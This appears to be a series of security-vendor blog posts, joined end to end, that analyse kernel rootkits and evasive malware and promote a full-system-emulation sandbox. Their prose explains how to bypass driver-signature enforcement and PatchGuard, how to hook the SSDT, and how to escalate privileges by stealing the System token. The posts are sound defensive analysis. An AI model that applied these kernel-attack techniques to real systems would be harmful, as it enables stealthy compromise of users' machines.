Many recently-discovered sophisticated attacks against Windows users have been found to use at least one component executing in the kernel of the operating system. Examples for such APT attacks are Equation, Regin, Dark Hotel, or Turla/Uroburos, and they have received a lot of scrutiny from the security and research community.

These threats are particularly pernicious because their kernel components are running with the highest level of permissions available on a computer system. As such, it is very difficult for traditional antivirus systems to detect (or protect) a computer system from these attacks, because the attacker is running with the same (or higher!) permissions as the AV solution.

At the same time, it is far from trivial to analyze such kernel-based APTs inside a traditional sandboxing system, as kernel behavior often lies outside the scope of what can be monitored using traditional hooking mechanisms.

In this post, we will show how the latest release of the Lastline Breach Detection Platform using a full-system emulation approach defeats even the latest version of kernel-based attacks. In a series of follow-up posts, we will focus on individual APT families and techniques, and detail how our sandbox can be used to analyze and detect these threats.

Analysis of Malicious Code in the Kernel

Most traditional sandboxes available today are based on intercepting API function invocations by placing hooks into the user-mode libraries loaded by a program under analysis. The idea is to intercept - and sometimes even tamper with - any parameters passed to functions that can be used to perform security-relevant behavior on a system.

Some slightly more advanced sandboxes are also able to intercept system calls invoked by the analyzed program, to address the case in which evasive malware bypasses user-mode functions and interacts with the operating system kernel directly. In both systems, the core idea is to interrupt the execution of malicious code at certain points of interest in order to extract and log the functions (and their arguments) that represent the actions performed by the program under analysis.

When malware manages to load one of its components into the kernel (for example via an exploit, as we will cover in a follow-up post), this malicious component is loaded indistinguishably from trusted, operating-system code. At this point, it is no longer feasible to monitor actions triggered by malware code using traditional hooking mechanisms, as the malware behaviors do not rely on invocations of user-mode APIs or system calls any longer.
With the rise and prevalence of kernel-mode APTs, it is crucial to overcome this problem in order to defend against these recent attacks.

Lastline’s high-resolution sandbox uses a full-system emulation approach, which allows the sandbox to see every instruction executed inside the analysis environment. This allows our engine to interrupt the execution of an interesting piece of code at any time (and not only when an API function or system call is invoked) to extract behavior, regardless of whether the malicious code is running in the context of a user-application or the operating system’s kernel. At the same time, our approach allows us to track which code has been loaded or modified from the context of untrusted operations (such as newly-loaded drivers) and thus track which code belongs to the original, trusted kernel, and what code is part of the malware threat and, therefore, requires special attention.

Anatomy of Traditional Kernel-Rootkits

To start off, let us take a brief look at how kernel-based attacks have worked in the past. While some of the attacks described below are rather well-understood, they nevertheless highlight a few key concepts a next-generation analysis sandbox has to fulfill to allow for the analysis of kernel-based malicious code.

Most traditional rootkits have the ability to hide the user-mode components of a malicious program. This is typically used to hide these components from AV software or analysts looking for signs of an infection. This can be achieved by hooking or modifying critical system tables, such as SSDT or IDT, or by modifying other kernel memory regions, such as code or data sections of system modules.

For such rootkits, the infection typically works as follows: First, an attacker exploits a user system (for example, the attacker tricks the user to visit a URL serving a drive-by download exploit attacking the user’s browser), loading a piece of malicious code into the kernel. This code then intercepts any system call invoked by user-mode applications, and filters any data returned to a program that would reveal the infection. For example, if a security product is looking for newly-generated files in a directory, this filter function would simply remove any malicious files before returning a directory listing to the requesting program. In a similar way, these hooks can filter and hide the presence of registry modifications, running processes, or any other event generated by the attacker.

(View Full-size)

As one might have guessed, the presence of such filtering code loaded into the kernel is very indicative of malicious activity. Therefore, the Lastline analysis engine is able to analyze any code that is newly loaded into the kernel of the operating system under analysis.

Additionally, whenever a critical function or memory location is hooked or modified, the analysis system uses this information to classify the origin of this code as malicious. At the same time, the analysis report exposes all this information with details on the type of function that was hooked or modified, providing analysts with highly-valuable information about the attack:

Analysis report showing kernel modification (View Full-size)

Analysis report showing SSDT hooks modification (View Full-size)

Analysis report showing critical kernel memory region modification (View Full-size)

Anatomy of Kernel-Based APTs

Recent waves of APT-attacks, such as Regin, Dark Hotel, or Turla/Uroburos, have shown that malware authors are using these rootkit techniques not only to hide the presence of other user-mode components, but also to leverage the privileges of kernel-code and integrate much more sophisticated behavior directly into the kernel-components. Examples of such added functionality are the ability to inject arbitrary code into running processes, or code to download and install further code, directly from the context of the kernel.

At the same time, these APTs have also become more evasive against traditional, signature-based detection systems. Very often, they use encryption and loading in multiple stages to hinder analysis. Often they use hidden and encrypted files in unpartitioned sections of the file-system to hide their presence, even when the system is booted using a trusted, uncompromised kernel to analyze an infected host.

(View Full-size)

With full visibility into any malicious code running in user or kernel context, the Lastline sandbox is able to perform comprehensive analysis of any such components. Whenever the engine sees that untrusted code tampers with or injects code into another user-mode process, the system includes any behavior exhibited by the modified user-process in the analysis.

This way, our analysis results reflect the full chain of infection, from the initial exploit modifying the kernel, all the way to kernel code spreading to other user-mode processes.

Analysis report showing kernel-memory hooking and user-mode injections (View Full-size)

Understanding Kernel Modifications: Necrus

As we have described in a previous post on process snapshotting, the Lastline analysis engine allows a security analyst to expose memory dumps from various stages of the malware execution in addition to the detailed description of the behavior observed during analysis.

This is no different for kernel-based malicious code, so let us use a variant of the Necrus Rootkit to take a deeper look at how this malware behaves as part of the kernel.

As any analyst who has worked on Necrus (or really any kernel rootkit) knows, it is very tedious to analyze and understand the various decryption loops obfuscating the interesting payload of a kernel driver.

The following snippet of code shows just one such decryption loop present in Necrus:

(View Full-size)

In addition to using various obfuscation/decryption loops, Necrus also contains fake entries in the import table that are not related to any payload functionality:

Function Exports in IDA (View Full-size)

Luckily for this analysis, we can skip the description of how to set up a kernel debugger to intercept execution when the kernel component has decrypted itself. The Lastline analysis engine does all of this automatically and provides us with a decrypted, de-obfuscated, repackaged executable snapshot that can be loaded via IDA Pro.

Once opened in IDA, the snapshot reveals all information about the decrypted payload. For example, the Rebuilt APIs section contains information about imports pointing to decrypted payload functionality:

Deobfuscated Function Pointers Extracted by Analysis Engine (View Full-size)

Starting from this table, it is trivial to find a particular hook the analyst is interested in. For example, we can follow KeServiceDescriptorTable, which reveals that the sample patches the SSDT, and sets hooks at NtOpenProcess and NtOpenThread to the code seen below:

(View Full-size)

The routine first maps the Service Descriptor Table in memory to find the function addresses of NtOpenProcess and NtOpenThread. These pointers are then overwritten with addresses of the corresponding hook functions. Subsequently, calls to NtOpenProcess or NtOpenThread from any user-mode application execute the hijacked functions of the rootkit.

Summary

Kernel-based malicious code has become part of the most advanced and sophisticated attacks seen in recent months. As a result, security solutions and analysis sandboxes need to adapt and provide the ability for analyzing and understanding kernel code to protect users from these threats.

Lastline’s high-resolution sandbox uses a full-system emulation approach and is able to perform effective analysis of code running in both kernel and user spaces. This allows us to obtain a complete picture of the malicious behavior to detect and mitigate these advanced threats.

To learn more about Lastline's rootkit analysis capabilities, read the announcement that we made today in a press release.

Many of today’s advanced persistent threats have been climbing up the ladder - quite literally: Instead of only using user-mode components, APTs more and more frequently include components that are running as part of the operating system kernel.

These kernel components run with the same, or even higher, privileges than most security solutions, and are thus outside the reach of traditional layers of protection. At the same time, running in the context of the kernel also evades scrutiny from security analysts as well as traditional analysis sandboxes, as we described in a previous blog post.

In this post, we want to dive deeper into one specific family containing a kernel component: Turla APT. We summarize some of the tricks the malware authors use to bypass security mechanisms present in the Windows operating system kernel. These tricks have been studied by security experts previously [1, 2], and we show how Lastline’s high-resolution sandbox is able to track this activity fully automatically to detect this threat and protect users.

Microsoft Windows Kernel Hardening

The Windows x64 operating system, such as Windows Vista or later versions, has many security mechanisms for hardening the kernel compared to its x86 predecessors. Two techniques are particularly interesting for the analysis of Turla: Driver-signing and PatchGuard.

Starting with Windows Vista (64-bit), the operating system kernel allows only signed drivers to be loaded by default. This significantly increased the burden for injecting malicious code into the kernel, but does not solve the problem of kernel malware, as we will see later in this post.

Despite driver-signing being enforced by default, Microsoft supports an option to boot its OS in a mode where signature-verification is turned off. This mode is mainly meant for supporting driver testing. Thus, while the driver-signature system increases the burden of an attacker, it still allows malware to load new code into the kernel, if the malware is able to reboot the system without this protective mechanism enabled, or by placing a bootkit in the boot-path running before, and with higher privileges than, the kernel itself. Still, the requirement of rebooting a victim machine incurs a significant burden for the attacker, as reboots inevitably raise unwanted suspicion.

The second significant kernel security improvement, PatchGuard, is a system component mainly aimed at detecting modifications of system-critical data structures such as SSDT, IDT, or the code pages loaded in memory. PatchGuard works by periodically calculating a checksum of these critical regions, and alerting as soon as unexpected changes are detected. Since most rootkits need to modify at least one of the monitored regions to implement their malicious functionality, this checksum approach provides a generic mechanism for detecting the presence of unwanted code.

For example, many traditional rootkits modify the SSDT entries for NtQuerySystemInformation or NtQueryProcessInformation to hide their user-mode processes or driver components, as we described in a previous post. Any attempt to change the SSDT would be detected by a mismatching checksum, allowing PatchGuard to detect the kernel compromise, and halting the compromised system to avoid further damage.

Turla APT Versus the Windows Kernel

The Turla APT is a sophisticated malware and suspected to be state sponsored. What makes this APT family particularly interesting is its design: Most of Turla’s functionality is implemented in a kernel driver that is able to run - completely unnoticed - within Microsoft’s 64-bit Windows operating system kernel, despite various layers of protection designed to block this from happening. Even more, the attackers behind Turla are able to infect a victim kernel without requiring a reboot of the system, making it even more stealthy than many other previously-seen attacks on the kernel.

Various research groups have spent a significant amount of time discovering and analyzing Turla’s functionality [1, 2]. In this post, we want to focus on how Turla manages to completely bypass the security features described above - bypassing PatchGuard as well as the enforcement of driver signature verification, even without requiring a system reboot. Additionally, we show how Lastline’s next-generation sandbox can dissect the functionality of the Turla APT completely automatically and provide a precise threat assessment to analysts.

Bypassing Signature Verification for Drivers

First, let’s see how Turla manages to load untrusted code into the context of the kernel. To execute new code in the kernel, the authors use a nifty trick, using a vulnerable version of a signed VirtualBox driver as a stepping stone: Loading this first driver does not raise suspicion - after all, the code is signed by a trusted entity. However, by loading this driver, a new vulnerability is introduced into the kernel, allowing a user-mode application to write to arbitrary memory locations inside the kernel.

With the ability to modify kernel-memory, the attacker can now tamper with any setting in the kernel. They locate the global variable g_CiEnabled within kernel-memory, which is used to indicate if the kernel is running in a mode where driver-signature verification is enabled or not. More precisely, the location of the variable is computed by loading the ntoskrnl.exe image into the memory of the user-mode component, allowing to calculate the offset of the variable within the image by searching for specific instructions referencing it. This offset is then added to the base-address at which ntoskrnl.exe is loaded in the kernel, which can be calculated by passing SystemModuleInformation as argument to NtQuerySystemInformation.

Virtualbox driver overwriting g_CiEnabled flag (View Full-size)

Patching the value of g_CiEnabled to 0 defeats the first security mechanism, even without requiring a system reboot. This allows the malware to load arbitrary (unsigned) kernel-components from user-mode, simply by writing the payload functionality to a file and calling NtLoadDriver.

Defeating PatchGuard

Despite the ability to run unsigned code in the operating system kernel, the APT is not yet able to achieve its rootkit behavior, as PatchGuard prevents injecting malicious code into the control-flow of critical system functionality.

This is addressed in the second step of the attack: The attackers start off by hooking functions RtlCaptureContext, KiRetireDpcList, and RtlLookupFunctionEntry in addition to the rootkit-activity related functions, which, as described above, will trigger an alert from PatchGuard the next time the integrity of system memory pages is verified. As soon as this happens, PatchGuard calls KeBugCheckEx, which, in turn, forces a system shutdown by showing the infamous blue-screen-of-death (BSOD).

However, Turla is able to bypass the BSOD using one of two possible techniques: In an earlier version of the APT, the code hooks KeBugCheckEx and forces the function to return without executing the BSOD functionality. After Microsoft updated PatchGuard to use a copy of the KeBugCheckEx function (cloned during the initialization of the system) instead of the global function in the kernel, a newer version of Turla appeared; this new version started hooking RtlCaptureContext instead of KeBugCheckEx. The former function is called internally by KeBugCheckEx (and thus also as part of the copied version), allowing Turla to intercept the execution before raising a BSOD [3].

Turla Functionally

Once PatchGuard has been bypassed, the malware has full access to the kernel. With this in place, it performs the classic rootkit behavior: Hooking a number of system calls, mainly to hide/protect its user-mode components. It achieves this by modifying ntoskrnl.exe and ndis.sys in memory, followed by creating a new IDT entry (at index 0xc3) and redirecting all hooked functions to a single interrupt handler (ISR). Each hooked function is associated with a unique identifier, which is used in the ISR to dispatch the function accordingly.

Hook Installation (View Full-size)

Traditional analysis systems typically work by hooking certain functions of interest (such as user-mode API functions or important kernel-code regions). Turla’s behavior defeats most such hooking approaches, as it is able to disable any in-host hooking mechanisms (similarly to how it defeats PatchGuard).

The Lastline analysis sandbox, on the other hand, is based on a full-system emulator. This means that modifications of the Windows kernel, no matter how sophisticated, do not interfere with our ability to capture and analyze the behavior exhibited by malware. A good example that demonstrates this is the following excerpt from an analysis report showing the Turla setup functionality described above (disabling driver-signing and bypassing PatchGuard), as well as more intricate functionality (such as the use of network filter drivers or monitoring process creation).

Behavior overview extracted from Turla APT in Lastline sandbox (View Full-size)

List of API functions hooked in ntoskrnl.exe and ndis.sys (View Full-size)

In addition to the traditional rootkit functionality for hiding user-mode components (by hooking ZwQuerySystemInformation and ZwQueryInformationProcess), Turla also installs a network filter driver at WFP (Windows Filtering Platform) and NDIS (Network Driver Interface Specification) layers. The following snippet shows how the NDIS driver registration takes place which allows the malware to monitor any incoming or outgoing network traffic.

(View Full-size)

Additionally, Turla monitors newly created processes by registering its callback through PsSetCreateProcessNotifyRoutine which is also included in the analysis report above extracted by the Lastline analysis engine.

(View Full-size)

Summary

Turla is one representative example that shows how two Windows OS hardening techniques - driver signature verification and PatchGuard - can be bypassed completely. The APT is able to tamper with kernel routines without restriction, allowing it to remain hidden on a compromised machine. At the same time, the APT is able to bypass hooking systems that operate within the context of the kernel, rendering traditional sandbox approaches useless.

Lastline’s high-resolution sandbox is able to track malware running in the context of user- and kernel-mode execution, without relying on in-system hooks. This allows for capturing all the malicious functionality of this advanced kernel-based threat, and for the detection of sophisticated targeted attacks.

Advanced malware is behind many headline-grabbing data breaches, and untold others. It has evolved to elude detection by sensing its environment and – if anti-malware technology is detected – performing evasive maneuvers. Once it gains entry, the malware can lay dormant until the attacker chooses to strike. Malware has also developed symbiotic relationships, with one type facilitating distribution of another type that exploits the compromised system (for example, GoZeus and Cryptolocker).

Large organizations are responding with sophisticated security tools and threat response teams. In a neverending digital arms race, cybercriminals have responded in turn by creating malware that can detect this new generation of security and essentially act benign or abort the mission if it’s about to be caught by a scanner.

In this presentation from SXSW Interactive 2015, I discuss new insights into the evolution of this class of evasive malware based on billions of files and URLs analyzed over a period of four years. I cover challenges to detection that industry and researchers currently face as well as recent research from Lastline Labs on the prevalence of sophisticated malware that hides in the Windows Kernel.

Enjoy! (You can also download the deck I used here).

This afternoon at the RSA Conference in San Francisco, I will present on “Evasive Malware: Exposed and Deconstructed.” During that presentation, I’ll lead a discussion around the dramatic growth of evasive malware, the increasingly sophisticated behaviors observed in the past year, and what that means for enterprise security professionals and the processes, tools and techniques that they use to protect their organizations.

Evasive Malware Aimed at Bypassing Sandboxes Doubles January vs. December 2014

Today from RSA, we’re publishing a new Lastline Labs report with fresh insights into evasive malware along with an update to our “AV Can’t Keep Up” report from 2013-14. For this new report, Lastline Labs conducted analysis on hundreds of thousands of samples collected in 2014. We found that evasive malware that was once uncommon and seemingly reserved for advanced, targeted attacks by powerful threat actors has gone mainstream.

Increasingly, malware that is used by APT (Advanced Persistent Threat) groups leverages sophisticated evasive maneuvers to hide its true malicious nature from traditional sandboxes until it reaches a specific target machine. In fact, in our dataset, we saw the percentage of malware samples that were evasive more than double from January 2014 to December 2014.

The growth of evasive malware from January 1, 2014 through December 31, 2014. (View Full-size)

Evasive malware is shifting from a seldom-used, sophisticated weapon in the hands of a few to a widely proliferated, popular tool used by many attackers in many ways. The barriers to entry for building and disseminating evasive malware are apparently now more easily surmounted.

Multi-Evasive Malware Runs Rampant

In addition, individual malware samples are including more evasive behaviors, often using a combination of the more of the 500+ evasive behaviors that we track. So, while a year ago, only a small fraction of malware showed any signs of sandbox evasion, today, a sizeable portion is evasive. And while evasive malware a year ago tended to leverage at most two or three evasive tricks, much of today’s evasive malware is tailored to bypass detection using as many as 10 or more different techniques.

Lately, malware authors are throwing in everything but the kitchen sink when it comes to evasive maneuvers — which can actually work in our favor in detecting evasive malware if we know to look for these behaviors. The four most common types of evasive behavior observed by Lastline Labs over the past year were 1) environmental awareness, 2) confusing automated tools, 3) timing-based evasion and 4) obfuscating internal data. Many samples in our study exhibited all four categories of evasive behavior.

AV Still Can’t Keep Up

At the same time, signature-based AV scanners are falling farther behind. Last year, we reported that AV can’t keep up with new malware — with not one scanner having a perfect day catching every new sample, and some new malware going undetected by 10% of the AV scanners for an entire year. In today’s report, we show that from April 2014 to March 2015, no single AV scanner had a perfect day either.

But what’s worse is that the most difficult-to-detect malware became even more elusive. After a full year, 64% of the AV engines failed to detect the 1% of least detected malware. This is a significant increase compared to last year, when this number was only 10%.

The AV detection rate of average (blue line) and 1% least detected malware (red line) April 2014 through March 2015. (View Full-size)

On the brighter side, AV scanners are catching average malware faster than last year — reaching 80% coverage sooner, although never getting to 100%. But the sharp decline in the detection rate of the 1% least detected malware is much more pronounced than this slight improvement in average malware detection rates. As noted last year, the configuration of the various antivirus scanners used by VirusTotal is not necessarily optimal, and it is always possible that a better detection rate could be achieved by relying on external signals or using more “aggressive” configurations.

Ultimately, the more evasive behaviors malware employs the more likely it will succeed in bypassing both signature-based and behavior-based detections. While much of the average malware can still be detected using signature-based tools and standard sandboxing, advanced and evasive malware is bypassing both. Malware authors are always cramming more tricks into their code, and the only way for security professionals to weed them out is to continuously adapt. If we build tools tailor-made to detect evasive malware, integrate across security systems and share threat intelligence, it is possible to get ahead of advanced threats.

Recent media coverage drew a lot of attention to a new variant of the Dyre/Dyreza malware family that is evading traditional sandbox-based analysis systems. At the same time, F-Secure highlighted similar tricks found in Tinba malware. Not only are individual families starting to detect and evade traditional sandboxes - it’s becoming a much more global and mainstream trend, as we covered recently at RSA.

A recent post in our series The Hammer Strikes describes how we allow any security solution to play in our sandbox, which allows integration of the Lastline platform with other technologies already present in a customer environment.

But what if malware doesn’t want to play in your sandbox?

In this post, we highlight how malware behaves in a FUSE (full-system emulation) analysis environment, how even evasive samples can still be detected, and that it’s time to let go of traditional sandboxing approaches, as they are falling further and further behind.

Full-System Emulation

What do we mean with FUSE? Isn’t any sandbox providing a completely virtualized environment? Sadly, the answer is no.

Most traditional sandboxes use off-the-shelf hypervisors to contain the execution of malware inside a virtual environment. On top of this, they add a mechanism for recording the behavior of the program under analysis.

One crucial part this approach completely neglects is that the CPU is not fully virtualized, although it is the only part that directly interacts with malware code. Instead, the malware runs on a real CPU (using hypervisor extensions), exposing it to fingerprinting and, in turn, evasion.

A true full-system emulator includes every component of the virtual environment, ranging from the CPU executing instructions of a malware program, the virtualized peripherals (such as disks, network controllers, IO devices, etc), a virtual network (providing all services that might be used by malware to communicate, but, at the same time, enforcing containment), all the way to a user interacting with programs inside the sandbox.

Dyre versus FUSE

One of the tricks recently added to Dyre [1] is to check for the number of CPU cores present on a host. Most systems today make use of multiple cores, so if only one core is present on the host, chances of running inside a sandbox are high.

In a FUSE solution, the CPU, like everything else, is virtual and thus under control of the analysis engine. Thus, the system can emulate any number of CPUs that it wants. Your network is full of high-end machines running 8 cores each?... the analysis system adapts to your profile and bypasses evasions against single-core machines. Your network is full of 1982 single-core dinosaurs?... let’s emulate and mimic an environment resembling that instead. This way, your FUSE solution identifies threats that are attacking you, and not what your sandbox vendor configured.

As a result, running Dyre samples in FUSE reveals the interesting behavior that we need for detection:

Analyzing Dyre in a FUSE analysis solution (View Full-size)

Dyre versus Virtual Users

Typically, when a real user is logged into a system, one can expect certain behaviors to take place. Examples are mouse activity (a user clicking on links in a browser), new programs being launched every once in a while, files being opened, etc.

Another interesting trick used by Dyre is to check if the running system suspiciously lacks this type of user behaviors: It uses CountClipboardFormats to check if there is any data in the clipboard of the operating system.

(View Full-size)

Interesting technical side note: When Dyre is executed in a system without any clipboard content, a logic error in the malware code causes it to crash. The number of elements in the clipboard is used to allocate a buffer in memory, resulting in a NULL pointer if the clipboard is empty.

(View Full-size)

Clearly, a real user would use copy-paste functionality at least every once in a while, but a virtual user might not.

No clipboard content, no behavior.

This is very similar to what we covered in the past about detecting key-loggers: If malware does not find interesting activity on a host, it will not reveal its malicious intentions.

Tinba versus Virtual Users

Identifying sandboxes based on user-behavior is similar to an evasion trick used by Tinba, as posted recently by F-Secure: If there is no interaction between users and running applications, malware can decide that the host is not an interesting target. More precisely, if the user does not move the mouse or does not switch between multiple program windows, the malware refuses to reveal its bad intentions.

As we say above, a true FUSE system controls everything - including the user interactions that take place within the virtual system, eliciting the behavior necessary for detecting Tinba:

(View Full-size)

Summary

Dyre and Tinba are two recent examples that show how evasive malware has gone mainstream. Traditional sandboxing approaches are fundamentally unable to address all these issues raised by modern malware.

Lastline uses full-system emulation that is in control of all aspects of the analysis environment, ranging from a virtual CPU, all the way to a virtual user, and can force malware to execute the way it would on a real target machine. This elicits the interesting behavior the system needs to classify malware and protect users.

[1] Dyre is a banking trojan that was first seen in June of 2014. The family is relatively new considering that Zeus was first identified in 2007. Even though the family of malware is new, it is quite prominent compared to other families. In October of 2014 the US-CERT issued an alert on the family due to its high volume of attacks. Many of these attack occur as spam campaigns that contains an Upatre executable (lightweight downloader) that downloads and executes Dyre. Since its initial release, it has added features such as the use of domain generation algorithms and access to Invisible Internet Project (I2P) to prevent attempts to take down its command and control.

Authored by: Joe Giron, Clemens Kolbitsch

Waves of evasive malware keep rolling in. The latest in the series: Rombertik. This malware variant uses a whole arsenal of ways to hide its functionality, including multiple layers of obfuscation to hinder static analysis, as well as stalling code to bypass execution in a sandbox.

But even beyond the obfuscation techniques, this family uses nifty tricks to stay under the radar of security solutions, as we cover in this post.

Stealthy Data Stealer

In most cases, Rombertik spreads via well-crafted emails that use social engineering to dupe a victim into opening an email attachment. The attachment contains an exploit that, once executed, downloads and infects the local machine with Rombertik malware.

The goal of this malware is to steal data the user enters into the browser. For this reason, the malware injects itself into various browsers, including Internet Explorer, Firefox, and Google Chrome. There, it intercepts confidential user data entered in web forms (such as name, address, credit card information, usernames, and passwords) and leaks it to the attackers behind Rombertik:

Analysis overview showing browser injections (View Full Size)

The malicious code intercepts user-input through hooks in browser memory (described in more detail below). Once a user enters confidential information the attackers are interested in, the malware forwards a copy of this data through its command & control channel (contacting, for example, www.centozos[.]org.in). Interestingly, the attackers also disable the use of the SPDY protocol to simplify extraction of the confidential data (SPDY uses compression and enforces the use of SSL/TLS). This is done in secret so the user is none the wiser that personal information has been stolen.

Browser Injection

The way Rombertik injects its hooks into the correct browser on the host is by iterating over all running processes on the system. The malware uses the CreateToolhelp32Snapshot API to enumerate all processes, injecting hooks when it finds Chrome, Firefox, or Internet Explorer.

(View Full Size)

Interestingly, the malware continuously searches for running browsers to hook. It does this by reading from the browser process memory and checking if the 0xe9 JMP instruction, which forms the start of the hook (created in function CreateFileW for Firefox, WsaSend for Chrome, and HttpSendRequestW for Internet Explorer), is in place. If the browser-memory already contains a hook - for example, because an analysis sandbox injected one itself - the malware will skip revealing its payload.

Our analysis environment does not tamper with process memory, and is invisible to the malware under scrutiny. Therefore our analysis is not affected by this problem.

Evasion via Stalling Code

Another interesting point about this malware family is that it does not only conceal itself by executing within a browser, but Rombertik also tries to evade execution in a sandbox. It does so using stalling loops, in which it accesses process memory many millions of times.

(View Full Size)

As we described in our anti-stalling code whitepaper in more detail, this busy-waiting approach evades analysis in some traditional sandboxes. The overhead of logging the behavior inside the loop slows down execution to a point where the sandbox analysis times out.

Since the Lastline sandbox uses FUSE (full-system emulation), our virtual CPU can identify this stalling loop, and adjust our analysis to get around this code, revealing the entire behavior of the malware.

Information Overload

Another significant obstacle that Rombertik throws at human reverse engineers is that it complicates static analysis by adding many (many!) different functions to its executable. These functions do not add meaningful logic to the program, but merely make finding relevant code-regions (that contain the actual, malicious payload) very tedious.

Rombertik call-graph; 99% of functions were removed to fit in a screenshot (View Full Size)

Because the sandbox automatically extracts full-process dumps from the execution and pinpoints code-regions containing functionality of interest, analysts can quickly find the needles in the haystack Rombertik malware authors so arduously hid.

Summary

Advanced and evasive malware families like Rombertik are on the rise. The frequency in which we see new variants appear that attack analysis inside sandbox-based systems is rapidly increasing. What was once a rare occurrence has become common, and the good news is there are security technologies available to stop evasive malware like Rombertik.

Many of the evasive behaviors, such as stalling code, require a FUSE analysis environment to overcome the obstacles the malware authors build to defeat sandboxes that do not effectively mimic target machines. Only when the analysis system is able to bypass these evasions by functioning like a complete target machine from CPU to web browser can it extract the behaviors necessary to identify these new malware families.

Our analysis revealed many if not all of the evasive maneuvers hidden within the mountains of code packed inside Rombertik and exposed its true nature. Importantly, we were able to automatically detect and dissect these evasive  behaviors. While some of these behaviors have been previously discovered and discussed by other researchers and malware analysts,  in most other cases that requires lots of tedious manual analysis. Additionally, the destructive wiping behaviors triggered by other sandboxes did not occur in our analysis environment, indicating Rombertik is not able to detect our sandbox and therefore does not attempt to destroy it. When it comes to detecting and stopping evasive malware, being able to automatically detect malicious behavior within millions of executions rapidly without tipping off the malware that it is in an analysis environment is critical. Only then can we turn the tables on evasive malware authors: forcing them to spend more time and resources crafting attacks than we spend defeating them.

A large set of publicly disclosed Advanced Persistent Threat (APT) and nation state attacks use sophisticated malware (e.g Turla, Duqu, Equation Group, Duqu2, etc.) that make use of at least one component running hidden inside the kernel of the Microsoft Windows operating system (OS). There, malware remains hidden from security solutions, and can abuse the highest privileges available on a computer system to achieve the attacker’s evil objectives.

With the ability to run in the OS kernel, malicious code has started to evade automated malware analysis solutions (sandboxes) that have limited visibility into actions executed by malware in the context of the kernel. This new wave of kernel-malware makes the ability to provide in-depth kernel-mode analysis a key requirement for effective advanced malware analysis solutions.

In two recent posts [1, 2] we have looked at how we can analyze and detect these advanced threats, but we have not yet described how attackers manage to inject their code into the Windows kernel. In this post, we highlight some of the difficulties attackers face, and how security researchers and professionals can use full-system emulation to analyze, dissect, and detect zero-day kernel exploitation techniques in an automated way.

Exploiting Microsoft Windows Kernels

All modern versions of Microsoft Windows enable User Account Control (UAC) by default, which grants limited privileges to user mode processes, restricting them in the actions they can perform on a host. For example, by default a program cannot access critical system components, modify the system registry, or load new drivers into the kernel, even if the driver is signed by a trusted entity.

To regain the privileges attackers need to achieve their goals, kernel exploits have become one of the major components in modern attacks. Since we first highlighted malware running in the kernel as a rising threat and announced our own new deep kernel malware analysis capabilities at SXSW Interactive in March, several kernel mode exploits have made headlines including:

• As revealed by Kaspersky Lab this month, Duqu2 uses a kernel mode exploit for CVE-2015-2360 to load its kernel mode component.
• One of the most recent targeted attacks against NATO members and the White House, termed Operation Pawn Storm, attracted massive media attention in April. The malware used in this campaign was equipped with a kernel exploit for CVE-2015-1701.
• Also reported in April, Turla uses two exploits for CVE-2009-1123 and CVE-2010-0232.

And previously in February the well known, possibly government-sponsored, Equation Group APT was reported to have used malware using up to 10 exploits, 3 of them confirmed for CVE-2009-1124, CVE-2011-3402, and CVE-2013-3879.

But well-funded, government-sponsored attacks aren’t the only ones that leverage kernel exploits. Attacking the kernel has become increasingly common, as can be seen by looking at prominent malware families making use of kernel exploits:

• Cidox/Rovnix Bootkit uses exploits for CVE-2013-3660 and CVE-2014-4113.
• Sandworm uses exploits for CVE-2014-4148 and CVE-2014-4113.
• PowerLoader uses exploits for CVE-2013-3660, CVE-2012-1864, and CVE-2012-0217.

… just to name a few.

As one can see, the ability to analyze and identify compromises of the operating system kernel has become crucial in detecting modern threats - not only, but especially with advanced, targeted attacks.

Anatomy of Kernel Exploits

Before we focus on how we detect kernel exploitation, let’s first dive into how a typical kernel exploit works. Usually, exploitation happens in four stages: host preparation, exploit-code setup, kernel vulnerability exploitation, and payload execution.

Host Preparation: In the first phase, the host preparation phase, the attacker tricks the user into executing a piece of user-mode code. This can happen through a conventional exploit, such as a drive-by-download exploit, or by executing the attack as part of user-mode malware already running on a target machine. Increasingly, this user-mode malware is tailor-made to evade traditional sandboxes through a number of techniques we’ve covered before.

Exploit-code Setup: Next, in the exploit-code setup phase, the attacker prepares the shellcode that is later invoked using the kernel exploit. To perform any actions in the context of the kernel, the exploit needs to know information about the kernel internals, such as:

• the location or offsets of critical structures in kernel memory, or
• the addresses of kernel API functions.

Windows kernel modules may vary between different versions of the operating system, between different service pack levels, and even when different system updates have been installed. Thus, an exploit must adapt to these changes. To do this, the user-mode setup code typically opens a kernel image from disk to analyze and find the necessary data.

At the same time, the setup code can find custom OEM drivers available on the system, which can provide additional vulnerabilities to exploit. To this end, the attacker can search for the presence of drivers and probe for devices available on the system.

Vulnerability Exploitation: Once the attacker has gathered all necessary information to make an exploit possible, the kernel vulnerability is exploited. There are two types of exploits that we have to address, depending on the location of the shellcode that is executed: execution of user-space shellcode with kernel privileges (i.e., CPL/Current Privilege Level = 0) versus execution of kernel-space shellcode.

User-space shellcode is easier to implement, because it only requires overwriting a small amount of data in kernel memory. In many cases, this memory is a function or function-pointer causing the next kernel thread executing this function to jump to the user-space memory prepared with the shellcode.

The advantage of this type of shellcode is that there is no limitation on the size of the shellcode (because it doesn’t need to be copied to kernel memory). However, this type of exploit does not work in Windows 8 or later, because of a new security feature known as Supervisor Mode Execution Prevention (SMEP), which prevents execution of code located in user-mode pages with CPL of 0.

Kernel-space shellcode bypasses SMEP but it is more complicated: it requires copying shellcode to kernel memory, but only very few (known) vulnerabilities allow overwriting large amounts of data in the kernel.

Shellcode type overview

Because of this, attackers sometimes use a hybrid approach combining both shellcode types: in a first step, using a small shellcode, the attacker disables SMEP, followed by executing a second, larger shellcode in user memory with CPL of 0.

Payload Execution: Once the shellcode has successfully been executed, the attacker is able to run any payload in the context of the kernel, that is, without any restrictions imposed by the operating system.

In exploits against Microsoft Windows kernels, we typically find two types of payloads: In the first type, the attacker tries to elevate privileges of the user-mode process. The idea is to run an entire process, not just a small piece of shellcode, with elevated privileges, which greatly simplifies writing complex payloads.

To elevate privileges, the payload can copy the access token of the System process and overwrite the current process’ access token. This gives the process the same level of permissions as those granted by the original process’ token. To do this, the payload needs to:

• enumerate EPROCESS structures in kernel memory,
• find the System process, and
• copy the pointer to the token structure inside the EPROCESS structure of the System process to the current process’ EPROCESS structure.

By stealing a pointer to the System process token structure, the process receives all Security Identifiers (SIDs) of that process, including the SID...

SID:S-1-5-18
Name: Local System
Description: A service account that is used by the operating system.

...which allows performing any actions with system process privileges.

The second type of payload we frequently find is more sophisticated: instead of elevating privileges of the user-mode process, the payload contains code for loading a malicious driver directly into kernel memory without the use of system APIs.

